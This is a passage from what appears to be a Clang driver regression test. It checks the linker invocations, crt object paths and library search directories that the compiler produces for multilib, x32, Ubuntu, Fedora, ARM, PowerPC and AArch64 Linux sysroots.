// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-X32: "-L[[SYSROOT]]/lib"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux -mx32 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-64-TO-X32 %s
// CHECK-64-TO-X32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-64-TO-X32: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32{{/|\\\\}}crtbegin.o"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../libx32"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../libx32"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/lib/../libx32"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/../libx32"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-64-TO-X32: "-L[[SYSROOT]]/lib"
// CHECK-64-TO-X32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -mx32 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-32-TO-X32 %s
// CHECK-32-TO-X32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-32-TO-X32: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32{{/|\\\\}}crtbegin.o"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../libx32"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../libx32"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/lib/../libx32"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/../libx32"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-32-TO-X32: "-L[[SYSROOT]]/lib"
// CHECK-32-TO-X32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux-gnux32 -m64 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-X32-TO-64 %s
// CHECK-X32-TO-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-X32-TO-64: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../lib64"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../lib64"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/lib/../lib64"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/../lib64"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-X32-TO-64: "-L[[SYSROOT]]/lib"
// CHECK-X32-TO-64: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux-gnux32 -m32 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-X32-TO-32 %s
// CHECK-X32-TO-32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-X32-TO-32: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32{{/|\\\\}}crtbegin.o"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../lib32"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../lib32"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/lib/../lib32"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/../lib32"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-X32-TO-32: "-L[[SYSROOT]]/lib"
// CHECK-X32-TO-32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux -m32 \
// RUN: --gcc-toolchain=%S/Inputs/multilib_64bit_linux_tree/usr \
// RUN: --sysroot=%S/Inputs/multilib_32bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-64-TO-32-SYSROOT %s
// CHECK-64-TO-32-SYSROOT: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-64-TO-32-SYSROOT: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32{{/|\\\\}}crtbegin.o"
// CHECK-64-TO-32-SYSROOT: "-L{{[^"]*}}/Inputs/multilib_64bit_linux_tree/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32"
// CHECK-64-TO-32-SYSROOT: "-L[[SYSROOT]]/lib/../lib32"
// CHECK-64-TO-32-SYSROOT: "-L[[SYSROOT]]/usr/lib/../lib32"
// CHECK-64-TO-32-SYSROOT: "-L{{[^"]*}}/Inputs/multilib_64bit_linux_tree/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-64-TO-32-SYSROOT: "-L[[SYSROOT]]/lib"
// CHECK-64-TO-32-SYSROOT: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: -ccc-install-dir %S/Inputs/fake_install_tree/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-INSTALL-DIR-32 %s
// CHECK-INSTALL-DIR-32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-INSTALL-DIR-32: "{{.*}}/Inputs/fake_install_tree/bin/../lib/gcc/i386-unknown-linux/4.7.0{{/|\\\\}}crtbegin.o"
// CHECK-INSTALL-DIR-32: "-L{{.*}}/Inputs/fake_install_tree/bin/../lib/gcc/i386-unknown-linux/4.7.0"
//
// Check that with 64-bit builds, we don't actually use the install directory
// as its version of GCC is lower than our sysrooted version.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux -m64 \
// RUN: -ccc-install-dir %S/Inputs/fake_install_tree/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-INSTALL-DIR-64 %s
// CHECK-INSTALL-DIR-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-INSTALL-DIR-64: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-INSTALL-DIR-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
//
// Check that we support unusual patch version formats, including missing that
// component.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: -ccc-install-dir %S/Inputs/gcc_version_parsing1/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-GCC-VERSION1 %s
// CHECK-GCC-VERSION1: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-GCC-VERSION1: "{{.*}}/Inputs/gcc_version_parsing1/bin/../lib/gcc/i386-unknown-linux/4.7{{/|\\\\}}crtbegin.o"
// CHECK-GCC-VERSION1: "-L{{.*}}/Inputs/gcc_version_parsing1/bin/../lib/gcc/i386-unknown-linux/4.7"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: -ccc-install-dir %S/Inputs/gcc_version_parsing2/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-GCC-VERSION2 %s
// CHECK-GCC-VERSION2: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-GCC-VERSION2: "{{.*}}/Inputs/gcc_version_parsing2/bin/../lib/gcc/i386-unknown-linux/4.7.x{{/|\\\\}}crtbegin.o"
// CHECK-GCC-VERSION2: "-L{{.*}}/Inputs/gcc_version_parsing2/bin/../lib/gcc/i386-unknown-linux/4.7.x"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: -ccc-install-dir %S/Inputs/gcc_version_parsing3/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-GCC-VERSION3 %s
// CHECK-GCC-VERSION3: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-GCC-VERSION3: "{{.*}}/Inputs/gcc_version_parsing3/bin/../lib/gcc/i386-unknown-linux/4.7.99-rc5{{/|\\\\}}crtbegin.o"
// CHECK-GCC-VERSION3: "-L{{.*}}/Inputs/gcc_version_parsing3/bin/../lib/gcc/i386-unknown-linux/4.7.99-rc5"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: -ccc-install-dir %S/Inputs/gcc_version_parsing4/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-GCC-VERSION4 %s
// CHECK-GCC-VERSION4: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-GCC-VERSION4: "{{.*}}/Inputs/gcc_version_parsing4/bin/../lib/gcc/i386-unknown-linux/4.7.99{{/|\\\\}}crtbegin.o"
// CHECK-GCC-VERSION4: "-L{{.*}}/Inputs/gcc_version_parsing4/bin/../lib/gcc/i386-unknown-linux/4.7.99"
//
// Test a simulated installation of libc++ on Linux, both through sysroot and
// the installation path of Clang.
// RUN: %clangxx -no-canonical-prefixes -x c++ %s -### -o %t.o 2>&1 \
// RUN: -target x86_64-unknown-linux-gnu \
// RUN: -stdlib=libc++ \
// RUN: -ccc-install-dir %S/Inputs/basic_linux_tree/usr/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_libcxx_tree \
// RUN: | FileCheck --check-prefix=CHECK-BASIC-LIBCXX-SYSROOT %s
// CHECK-BASIC-LIBCXX-SYSROOT: "{{[^"]*}}clang{{[^"]*}}" "-cc1"
// CHECK-BASIC-LIBCXX-SYSROOT: "-isysroot" "[[SYSROOT:[^"]+]]"
// CHECK-BASIC-LIBCXX-SYSROOT: "-internal-isystem" "[[SYSROOT]]/usr/include/c++/v1"
// CHECK-BASIC-LIBCXX-SYSROOT: "-internal-isystem" "[[SYSROOT]]/usr/local/include"
// CHECK-BASIC-LIBCXX-SYSROOT: "--sysroot=[[SYSROOT]]"
// RUN: %clang -no-canonical-prefixes -x c++ %s -### -o %t.o 2>&1 \
// RUN: -target x86_64-unknown-linux-gnu \
// RUN: -stdlib=libc++ \
// RUN: -ccc-install-dir %S/Inputs/basic_linux_libcxx_tree/usr/bin \
// RUN: --sysroot=%S/Inputs/basic_linux_libcxx_tree \
// RUN: | FileCheck --check-prefix=CHECK-BASIC-LIBCXX-INSTALL %s
// CHECK-BASIC-LIBCXX-INSTALL: "{{[^"]*}}clang{{[^"]*}}" "-cc1"
// CHECK-BASIC-LIBCXX-INSTALL: "-isysroot" "[[SYSROOT:[^"]+]]"
// CHECK-BASIC-LIBCXX-INSTALL: "-internal-isystem" "[[SYSROOT]]/usr/bin/../include/c++/v1"
// CHECK-BASIC-LIBCXX-INSTALL: "-internal-isystem" "[[SYSROOT]]/usr/local/include"
// CHECK-BASIC-LIBCXX-INSTALL: "--sysroot=[[SYSROOT]]"
// CHECK-BASIC-LIBCXX-INSTALL: "-L[[SYSROOT]]/usr/bin/../lib"
//
// Test a very broken version of multiarch that shipped in Ubuntu 11.04.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/ubuntu_11.04_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-UBUNTU-11-04 %s
// CHECK-UBUNTU-11-04: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-UBUNTU-11-04: "{{.*}}/usr/lib/i386-linux-gnu/gcc/i686-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/usr/lib/i386-linux-gnu/gcc/i686-linux-gnu/4.5"
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/usr/lib/i386-linux-gnu/gcc/i686-linux-gnu/4.5/../../../../i386-linux-gnu"
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/usr/lib/i386-linux-gnu"
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/usr/lib/i386-linux-gnu/gcc/i686-linux-gnu/4.5/../../../.."
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/lib"
// CHECK-UBUNTU-11-04: "-L[[SYSROOT]]/usr/lib"
//
// Check multi arch support on Ubuntu 12.04 LTS.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-unknown-linux-gnueabihf \
// RUN: --sysroot=%S/Inputs/ubuntu_12.04_LTS_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-UBUNTU-12-04-ARM-HF %s
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}/usr/lib/gcc/arm-linux-gnueabihf/4.6.3/../../../arm-linux-gnueabihf{{/|\\\\}}crt1.o"
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}/usr/lib/gcc/arm-linux-gnueabihf/4.6.3/../../../arm-linux-gnueabihf{{/|\\\\}}crti.o"
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}/usr/lib/gcc/arm-linux-gnueabihf/4.6.3{{/|\\\\}}crtbegin.o"
// CHECK-UBUNTU-12-04-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabihf/4.6.3"
// CHECK-UBUNTU-12-04-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabihf/4.6.3/../../../arm-linux-gnueabihf"
// CHECK-UBUNTU-12-04-ARM-HF: "-L[[SYSROOT]]/lib/arm-linux-gnueabihf"
// CHECK-UBUNTU-12-04-ARM-HF: "-L[[SYSROOT]]/usr/lib/arm-linux-gnueabihf"
// CHECK-UBUNTU-12-04-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabihf/4.6.3/../../.."
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}/usr/lib/gcc/arm-linux-gnueabihf/4.6.3{{/|\\\\}}crtend.o"
// CHECK-UBUNTU-12-04-ARM-HF: "{{.*}}/usr/lib/gcc/arm-linux-gnueabihf/4.6.3/../../../arm-linux-gnueabihf{{/|\\\\}}crtn.o"
//
// Check Ubuntu 13.10 on x86-64 targeting arm-linux-gnueabihf.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-gnueabihf \
// RUN: --sysroot=%S/Inputs/x86-64_ubuntu_13.10 \
// RUN: | FileCheck --check-prefix=CHECK-X86-64-UBUNTU-13-10-ARM-HF %s
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-dynamic-linker" "/lib/ld-linux-armhf.so.3"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8/../../../../arm-linux-gnueabihf/lib/../lib{{/|\\\\}}crt1.o"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8/../../../../arm-linux-gnueabihf/lib/../lib{{/|\\\\}}crti.o"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8{{/|\\\\}}crtbegin.o"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8/../../../../arm-linux-gnueabihf/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-L[[SYSROOT]]/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-L[[SYSROOT]]/usr/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8/../../../../arm-linux-gnueabihf/lib"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8{{/|\\\\}}crtend.o"
// CHECK-X86-64-UBUNTU-13-10-ARM-HF: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabihf/4.8/../../../../arm-linux-gnueabihf/lib/../lib{{/|\\\\}}crtn.o"
//
// Check Ubuntu 13.10 on x86-64 targeting arm-linux-gnueabi.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-gnueabi \
// RUN: --sysroot=%S/Inputs/x86-64_ubuntu_13.10 \
// RUN: | FileCheck --check-prefix=CHECK-X86-64-UBUNTU-13-10-ARM %s
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-dynamic-linker" "/lib/ld-linux.so.3"
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/lib/../lib{{/|\\\\}}crt1.o"
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/lib/../lib{{/|\\\\}}crti.o"
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabi/4.7{{/|\\\\}}crtbegin.o"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabi/4.7"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-L[[SYSROOT]]/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-L[[SYSROOT]]/usr/lib/../lib"
// CHECK-X86-64-UBUNTU-13-10-ARM: "-L[[SYSROOT]]/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/lib"
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabi/4.7{{/|\\\\}}crtend.o"
// CHECK-X86-64-UBUNTU-13-10-ARM: "{{.*}}/usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/lib/../lib{{/|\\\\}}crtn.o"
//
// Check Ubuntu 14.04 on powerpc64le.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64le-unknown-linux-gnu \
// RUN: --sysroot=%S/Inputs/ubuntu_14.04_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-UBUNTU-14-04-PPC64LE %s
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}/usr/lib/gcc/powerpc64le-linux-gnu/4.8/../../../powerpc64le-linux-gnu{{/|\\\\}}crt1.o"
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}/usr/lib/gcc/powerpc64le-linux-gnu/4.8/../../../powerpc64le-linux-gnu{{/|\\\\}}crti.o"
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}/usr/lib/gcc/powerpc64le-linux-gnu/4.8{{/|\\\\}}crtbegin.o"
// CHECK-UBUNTU-14-04-PPC64LE: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64le-linux-gnu/4.8"
// CHECK-UBUNTU-14-04-PPC64LE: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64le-linux-gnu/4.8/../../../powerpc64le-linux-gnu"
// CHECK-UBUNTU-14-04-PPC64LE: "-L[[SYSROOT]]/lib/powerpc64le-linux-gnu"
// CHECK-UBUNTU-14-04-PPC64LE: "-L[[SYSROOT]]/usr/lib/powerpc64le-linux-gnu"
// CHECK-UBUNTU-14-04-PPC64LE: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64le-linux-gnu/4.8/../../.."
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}/usr/lib/gcc/powerpc64le-linux-gnu/4.8{{/|\\\\}}crtend.o"
// CHECK-UBUNTU-14-04-PPC64LE: "{{.*}}/usr/lib/gcc/powerpc64le-linux-gnu/4.8/../../../powerpc64le-linux-gnu{{/|\\\\}}crtn.o"
//
// Check Ubuntu 14.04 on x32.
// "/usr/lib/gcc/x86_64-linux-gnu/4.8/x32/crtend.o" "/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../libx32/crtn.o"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux-gnux32 \
// RUN: --sysroot=%S/Inputs/ubuntu_14.04_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-UBUNTU-14-04-X32 %s
// CHECK-UBUNTU-14-04-X32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-UBUNTU-14-04-X32: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../libx32{{/|\\\\}}crt1.o"
// CHECK-UBUNTU-14-04-X32: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../libx32{{/|\\\\}}crti.o"
// CHECK-UBUNTU-14-04-X32: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.8/x32{{/|\\\\}}crtbegin.o"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.8/x32"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../libx32"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/lib/../libx32"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/../libx32"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/x86_64-linux-gnu/../../libx32"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.8"
// CHECK-UBUNTU-14-04-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.8/../../.."
// CHECK-UBUNTU-14-04-X32: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.8/x32{{/|\\\\}}crtend.o"
// CHECK-UBUNTU-14-04-X32: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../libx32{{/|\\\\}}crtn.o"
//
// Check fedora 18 on arm.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=armv7-unknown-linux-gnueabihf \
// RUN: --sysroot=%S/Inputs/fedora_18_tree \
// RUN: | FileCheck --check-prefix=CHECK-FEDORA-18-ARM-HF %s
// CHECK-FEDORA-18-ARM-HF: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-FEDORA-18-ARM-HF: "{{.*}}/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2/../../../../lib{{/|\\\\}}crt1.o"
// CHECK-FEDORA-18-ARM-HF: "{{.*}}/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2/../../../../lib{{/|\\\\}}crti.o"
// CHECK-FEDORA-18-ARM-HF: "{{.*}}/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2{{/|\\\\}}crtbegin.o"
// CHECK-FEDORA-18-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2"
// CHECK-FEDORA-18-ARM-HF: "-L[[SYSROOT]]/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2/../../../../lib"
// CHECK-FEDORA-18-ARM-HF: "{{.*}}/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2{{/|\\\\}}crtend.o"
// CHECK-FEDORA-18-ARM-HF: "{{.*}}/usr/lib/gcc/armv7hl-redhat-linux-gnueabi/4.7.2/../../../../lib{{/|\\\\}}crtn.o"
//
// Check Fedora 21 on AArch64.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-unknown-linux-gnu \
// RUN: --sysroot=%S/Inputs/fedora_21_tree \
// RUN: | FileCheck --check-prefix=CHECK-FEDORA-21-AARCH64 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-unknown-linux-gnu \
// RUN: --sysroot=%S/Inputs/fedora_21_tree \
// RUN: | FileCheck --check-prefix=CHECK-FEDORA-21-AARCH64 %s
// CHECK-FEDORA-21-AARCH64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-FEDORA-21-AARCH64: "{{.*}}/usr/lib/gcc/aarch64-redhat-linux/4.9.0/../../../../lib64{{/|\\\\}}crt1.o"
// CHECK-FEDORA-21-AARCH64: "{{.*}}/usr/lib/gcc/aarch64-redhat-linux/4.9.0/../../../../lib64{{/|\\\\}}crti.o"
// CHECK-FEDORA-21-AARCH64: "{{.*}}/usr/lib/gcc/aarch64-redhat-linux/4.9.0{{/|\\\\}}crtbegin.o"
// CHECK-FEDORA-21-AARCH64: "-L[[SYSROOT]]/usr/lib/gcc/aarch64-redhat-linux/4.9.0"
// CHECK-FEDORA-21-AARCH64: "-L[[SYSROOT]]/usr/lib/gcc/aarch64-redhat-linux/4.9.0/../../../../lib64"
